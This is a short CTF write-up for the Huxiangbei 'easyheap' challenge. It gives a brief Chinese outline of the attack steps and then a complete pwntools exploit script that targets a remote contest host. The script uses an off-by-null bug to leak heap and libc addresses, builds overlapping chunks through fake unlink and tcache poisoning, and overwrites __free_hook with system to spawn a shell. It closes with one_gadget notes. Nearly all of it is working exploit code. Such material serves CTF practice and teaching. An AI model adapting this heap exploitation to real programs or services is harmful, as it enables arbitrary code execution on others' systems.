湖湘杯easyheap writeup

• off-by-null

思路

• leak heap
• leak libc
• chunk overlap (fake unlink)
• edit any where
• system("/bin/sh")

#coding:utf-8

from pwn import *
import argparse

# env = os.environ
# env['LD_PRELOAD'] = './libc64.so'

context.terminal =  ['tmux', 'splitw', '-h']

IP = '47.111.96.55'
PORT = '54303'
 
binary = './babyheap'

io = None

parser = argparse.ArgumentParser()

parser.add_argument('-d', '--debugger', action='store_true')
parser.add_argument('-r', '--remote', action='store_true')
parser.add_argument('-l', '--local', action='store_true')
args = parser.parse_args()

sl = lambda x : io.sendline(x)
sd = lambda x : io.send(x)
sla = lambda x,y : io.sendlineafter(x,y)
sa = lambda x , y : io.sendafter(x,y)
rud = lambda x : io.recvuntil(x,drop=True)
ru = lambda x : io.recvuntil(x)

def lg(s, addr):
    print('\033[1;31;40m%30s-->0x%x\033[0m' % (s, addr))

if args.remote:
    io = remote(IP, PORT)  
    libc = ELF("./libc.so.6" , checksec = False)
    elf = ELF(binary , checksec = False)
elif args.local or args.debugger:
    # env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc.so.6")}
    env = {}
    io = process(binary,  env=env)
    elf = ELF(binary)
    proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]
    libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc-2.27.so']
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
else:
    parser.print_help()
    exit()

def debug(msg=""):

    pwnlib.gdb.attach(io,msg)
    # raw_input()

def create():
    sla(">>","1")


def show(idx):
    sla(">>","2")
    sla("?",str(idx))

def edit(idx , sz ,con):
    sla(">>","3")
    sla("?",str(idx))
    sla(":",str(sz))
    sla(":",con)

def delete(idx):
    sla(">>","4")
    sla("?",str(idx))


def exploit():
    [create() for i in range(10)] 
    [delete(i) for i in range(9)] # 0 - 6 tache | 7 - 8 merge into 0x201

    [create() for i in range(9)] # 0 - 6 tcache | 7 unsorted bin
    show(0)
    heap  = u64(io.recvuntil(b"\x55")[-6:].ljust(8,b"\x00"))
    lg('leak_heap' , heap)
    heap_base = heap - 0x760
    lg('heap_base' , heap - 0x760)

    show(7)
    
    leak = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
    lg('leak', leak)
    libc_base = leak - 0x3ebe90
    lg('base', libc_base)
    

    # edit(0 , 0xf7 , "aaa" )
    [delete(i) for i in range(8)]
    [create() for i in range(8)] #  prev  size 

    edit(0 , 0x20  , p64(heap_base + 0x950) + p64(heap_base + 0x950))
    edit(7 , 0xf8  , p64(heap_base + 0x250) + p64(heap_base + 0x258))

    [delete(i) for i in range(7)] # fill in tcache
    delete(8)

    [create() for i in range(8)]
    create()  # same pointer 7 - 8
    # delete(9)

    delete(7)
    edit(8 , 0x10 , p64(libc_base + libc.symbols['__free_hook']))

    create()
    create() # idx 11

    edit(11 , 0x10 , p64(libc_base + libc.symbols['system']))
    edit(0  , 0x10 , b"/bin/sh\x00")

    delete(0)
    # 
    # debug()
    io.interactive()


if __name__ == "__main__":
    exploit()
"""
0x4f365 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f3c2 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a45c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""